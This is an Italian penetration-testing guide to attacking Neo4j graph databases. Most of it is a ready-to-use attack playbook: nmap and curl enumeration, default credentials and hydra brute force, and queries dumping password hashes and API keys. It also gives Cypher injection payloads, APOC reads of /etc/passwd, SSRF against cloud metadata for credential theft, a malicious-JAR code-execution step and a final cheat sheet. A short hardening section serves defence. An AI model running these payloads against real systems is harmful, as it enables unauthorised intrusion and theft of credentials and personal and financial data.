Neo4j Pentest: Cypher Injection, APOC RCE e Porta 7474

Pentest Neo4j porta 7474/7687: enumerazione, default credentials, Cypher injection, APOC RCE, dump hash e API key. Guida completa 2026.
- Pubblicato il 2026-04-16
- Tempo di lettura: 5 min
Neo4j è il database a grafo più diffuso al mondo. Se non lo conosci, pensa a un database dove i dati non sono organizzati in tabelle (come MySQL o PostgreSQL) ma in nodi e relazioni — perfetto per social network, sistemi di raccomandazione, fraud detection, knowledge graph e identity management. Ascolta sulla porta 7474 TCP (HTTP/Browser UI) e 7687 TCP (protocollo Bolt per le query). Nel penetration testing, un Neo4j esposto è interessante per due ragioni: primo, spesso gira senza autenticazione di default (nelle versioni community fino alla 4.x); secondo, i dati che contiene sono tipicamente relazioni tra entità — utenti, ruoli, permessi, device, transazioni — che ti danno una comprensione profonda della struttura organizzativa del target. E poi c’è la Cypher injection: l’equivalente della SQL injection per i database a grafo, meno conosciuta e quindi meno difesa.
Chi usa Neo4j? Fintech per il fraud detection, enterprise per l’identity and access management, social platform per i grafi sociali, cybersecurity per il threat intelligence. Se lo trovi durante un pentest, i dati che contiene hanno quasi sempre un valore alto.
Architettura Neo4j #
Client Neo4j Server
┌──────────────┐ ┌──────────────────────┐
│ Browser UI │── HTTP :7474 ───►│ Neo4j Browser │
│ │ │ (query Cypher) │
│ Driver app │── Bolt :7687 ───►│ Neo4j Core │
│ (Python/Java)│ │ (database engine) │
│ │ │ │
│ curl/API │── HTTP :7474 ───►│ REST API │
│ │ │ /db/neo4j/tx │
└──────────────┘ └──────────────────────┘| Porta | Protocollo | Funzione |
|---|---|---|
| 7474 | HTTP | Browser UI + REST API |
| 7473 | HTTPS | Browser UI cifrato |
| 7687 | Bolt | Protocollo nativo per query |
1. Enumerazione #
Nmap #
nmap -sV -p 7474,7473,7687 10.10.10.40PORT STATE SERVICE VERSION
7474/tcp open http Neo4j Browser/REST API
7687/tcp open bolt Neo4j Bolt protocolVersione e stato #
curl -s http://10.10.10.40:7474/ | python3 -m json.tool{
"bolt_routing": "neo4j://10.10.10.40:7687",
"transaction": "http://10.10.10.40:7474/db/{databaseName}/tx",
"bolt_direct": "bolt://10.10.10.40:7687",
"neo4j_version": "5.15.0",
"neo4j_edition": "community"
}Intelligence: versione esatta, edizione (community = no auth in alcune config), endpoint Bolt.
Browser UI #
# Apri nel browser
# http://10.10.10.40:7474/browser/La Neo4j Browser è un’interfaccia web completa per eseguire query Cypher. Se accessibile senza auth, hai un IDE per interrogare l’intero database.
2. Autenticazione #
Senza autenticazione #
Neo4j Community Edition nelle versioni più vecchie (pre-4.x) o con dbms.security.auth_enabled=false nel config non richiede credenziali. Testa:
# REST API senza auth
curl -s http://10.10.10.40:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-d '{"statements":[{"statement":"RETURN 1 AS test"}]}'{"results":[{"columns":["test"],"data":[{"row":[1]}]}],"errors":[]}Se risponde con risultati → accesso completo senza credenziali.
Default credentials #
| Username | Password | Note |
|---|---|---|
neo4j | neo4j | Default — richiede cambio al primo login |
neo4j | password | Password cambiata al minimo |
neo4j | admin | Comune in dev |
neo4j | test | Ambiente di test |
# Test con auth
curl -s -u neo4j:neo4j http://10.10.10.40:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-d '{"statements":[{"statement":"RETURN 1"}]}'Se ricevi Neo.ClientError.Security.AuthenticationRateLimit → rate limiting attivo, vai piano.
Brute force #
hydra -l neo4j -P /usr/share/wordlists/rockyou.txt 10.10.10.40 http-post-form \
"/db/neo4j/tx/commit:'{\"statements\":[{\"statement\":\"RETURN 1\"}]}':errors" \
-s 7474
# Con cypher-shell
for pass in neo4j password admin test changeme; do
cypher-shell -a bolt://10.10.10.40:7687 -u neo4j -p "$pass" "RETURN 1" 2>/dev/null && echo "FOUND: $pass"
done3. Enumerazione del Database #
Metadati — cosa contiene il database #
# Funzione helper per eseguire query Cypher via REST API
cypher() {
curl -s -u neo4j:password http://10.10.10.40:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-d "{\"statements\":[{\"statement\":\"$1\"}]}"
}# Tutti i tipi di nodi (label)
cypher "CALL db.labels()"["User","Role","Permission","Device","Transaction","Account","Organization"]Sette tipi di entità. Questo sembra un sistema IAM (Identity Access Management) o un fraud detection.
# Tutti i tipi di relazioni
cypher "CALL db.relationshipTypes()"["HAS_ROLE","HAS_PERMISSION","BELONGS_TO","MADE_TRANSACTION","OWNS_DEVICE","LOGGED_IN_FROM"]La struttura è chiara: utenti hanno ruoli e permessi, fanno transazioni, possiedono device.
# Conteggio nodi per tipo
cypher "MATCH (n) RETURN labels(n) AS tipo, count(n) AS conteggio ORDER BY conteggio DESC"[["Transaction"], 1500000],
[["Device"], 45000],
[["User"], 12000],
[["Account"], 12000],
[["Permission"], 200],
[["Role"], 15],
[["Organization"], 5]12000 utenti, 15 ruoli, 5 organizzazioni, 1.5M transazioni.
Proprietà dei nodi #
# Proprietà del nodo User
cypher "MATCH (u:User) RETURN keys(u) LIMIT 1"["username","email","password_hash","phone","created_at","last_login","api_key","status"]I nodi User contengono password_hash e api_key. Ora estraiamo tutto.
4. Extraction — Credenziali e Dati Sensibili #
Dump utenti con hash password #
cypher "MATCH (u:User) RETURN u.username, u.email, u.password_hash, u.api_key LIMIT 100"[
{"row": ["admin", "admin@corp.com", "$2b$12$abc...", "ak_live_abc123"]},
{"row": ["j.rossi", "j.rossi@corp.com", "$2b$12$def...", "ak_live_def456"]},
{"row": ["m.bianchi", "m.bianchi@corp.com", "$2b$12$ghi...", null]}
]Hash bcrypt → Hashcat mode 3200. API key → accesso diretto all’applicazione.
Utenti admin e privilegi #
# Chi ha il ruolo "admin"?
cypher "MATCH (u:User)-[:HAS_ROLE]->(r:Role {name:'admin'}) RETURN u.username, u.email"[
{"row": ["admin", "admin@corp.com"]},
{"row": ["svc_system", "system@corp.com"]}
]Mappa permessi (il potere del grafo) #
# Tutti i permessi dell'utente "admin" (traversando il grafo)
cypher "MATCH (u:User {username:'admin'})-[:HAS_ROLE]->(r:Role)-[:HAS_PERMISSION]->(p:Permission) RETURN r.name, collect(p.name)"[{"row": ["admin", ["read_all","write_all","delete_users","manage_billing","api_full_access"]]}]Relazioni tra organizzazioni e utenti #
cypher "MATCH (o:Organization)<-[:BELONGS_TO]-(u:User) RETURN o.name, count(u) AS members ORDER BY members DESC"[
{"row": ["Corp SpA", 8000]},
{"row": ["Partner Ltd", 3000]},
{"row": ["Subsidiary GmbH", 1000]}
]Transazioni sospette (fraud detection data) #
cypher "MATCH (u:User)-[:MADE_TRANSACTION]->(t:Transaction) WHERE t.amount > 10000 RETURN u.username, t.amount, t.recipient, t.date ORDER BY t.amount DESC LIMIT 20"Dati finanziari con importi, destinatari e date.
5. Cypher Injection #
L’equivalente della SQL injection per Neo4j. Se un’applicazione web costruisce query Cypher concatenando input utente:
# Codice vulnerabile (Python/Flask)
query = f"MATCH (u:User {{username:'{username}'}}) RETURN u"Payload di test #
# Nel campo username dell'applicazione web:
' OR 1=1 RETURN u //
# Dump tutti gli utenti
' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u.username, u.password_hash //
# Conta i nodi
' RETURN 1 UNION MATCH (n) RETURN count(n) //Injection via parametri URL #
# Se l'app usa parametri GET per le query
curl -s "http://10.10.10.40:8080/api/user?name=' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u.username, u.password_hash //"Cypher injection per file read (con APOC) #
Se la libreria APOC è installata:
# Leggi file dal filesystem
' WITH 1 AS a CALL apoc.load.csv('file:///etc/passwd') YIELD list RETURN list //Cypher injection per RCE (con APOC) #
# Esegui comandi (richiede APOC unrestricted)
' WITH 1 AS a CALL apoc.cypher.runFile('file:///tmp/evil.cypher') YIELD value RETURN value //6. RCE — Remote Code Execution #
APOC (Awesome Procedures on Cypher) #
APOC è la libreria di procedure estese più usata in Neo4j. Se installata con modalità unrestricted:
# Verifica se APOC è installato
cypher "CALL apoc.help('apoc')"
cypher "RETURN apoc.version()"# Leggi file
cypher "CALL apoc.load.csv('file:///etc/passwd') YIELD list RETURN list"
# HTTP request (SSRF)
cypher "CALL apoc.load.json('http://169.254.169.254/latest/meta-data/') YIELD value RETURN value"Se APOC ha accesso alla rete → SSRF verso servizi interni e cloud metadata (AWS credential theft).
Procedure custom (Java) #
Se puoi caricare plugin (accesso al filesystem o alla console admin):
# Copia un JAR malevolo nella directory plugins
# /var/lib/neo4j/plugins/evil.jar
# Riavvia Neo4j → la procedura è disponibile
cypher "CALL evil.exec('id')"Neo4j config file #
# Se hai accesso al filesystem
cat /etc/neo4j/neo4j.conf | grep -iE "password|auth|apoc|dbms.security"dbms.security.auth_enabled=false
dbms.security.procedures.unrestricted=apoc.*auth_enabled=false conferma: nessuna autenticazione. procedures.unrestricted=apoc.* → tutte le procedure APOC senza restrizioni.
7. Lateral Movement #
Credenziali estratte → altri servizi #
# Hash craccati → test password su SSH, RDP, WinRM
# API key → accesso diretto all'applicazione
# Email → target per phishing
# Cerca connessioni ad altri database nei config
cypher "MATCH (n) WHERE any(k IN keys(n) WHERE k CONTAINS 'connection' OR k CONTAINS 'jdbc' OR k CONTAINS 'url') RETURN n LIMIT 10"Mappa rete dai dati Neo4j #
# Se Neo4j contiene dati di device/rete
cypher "MATCH (d:Device) RETURN d.ip, d.hostname, d.os, d.type LIMIT 50"I sistemi di asset management e CMDB spesso usano Neo4j → mappa completa dell’infrastruttura.
8. Detection & Hardening #
dbms.security.auth_enabled=true— sempre, anche in development- Password forte per l’utente neo4j — non lasciare il default
- APOC in modalità restricted —
dbms.security.procedures.unrestricted=vuoto - Bind su 127.0.0.1 se non serve accesso remoto
- Firewall — porte 7474/7473/7687 solo dall’applicazione
- TLS — usa la porta 7473 (HTTPS) e Bolt+TLS
- RBAC (Enterprise Edition) — utenti con permessi granulari per database e operazioni
- Non salvare password in chiaro nei nodi — hash lato applicazione
- Audit log — abilita per tracciare query sensibili
9. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 7474,7687 target |
| Versione | curl -s http://target:7474/ |
| Browser UI | http://target:7474/browser/ |
| Test no-auth | curl -s http://target:7474/db/neo4j/tx/commit -d '{"statements":[{"statement":"RETURN 1"}]}' |
| Default creds | neo4j:neo4j |
| Cypher-shell | cypher-shell -a bolt://target:7687 -u neo4j -p pass |
| Labels | CALL db.labels() |
| Relationships | CALL db.relationshipTypes() |
| Dump utenti | MATCH (u:User) RETURN u.username, u.password_hash |
| Admin users | MATCH (u)-[:HAS_ROLE]->(r:Role {name:'admin'}) RETURN u |
| APOC check | RETURN apoc.version() |
| File read | CALL apoc.load.csv('file:///etc/passwd') |
| SSRF | CALL apoc.load.json('http://169.254.169.254/') |
| Cypher injection | ' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u // |
Riferimento: Neo4j Security documentation, OWASP NoSQL injection, HackTricks Neo4j. Uso esclusivo in ambienti autorizzati. https://neo4j.com/
Neo4j nella tua infrastruttura? I database a grafo hanno vulnerabilità uniche che i penetration test standard non coprono. Assessment specializzato HackIta oppure impara l’exploitation NoSQL 1:1.







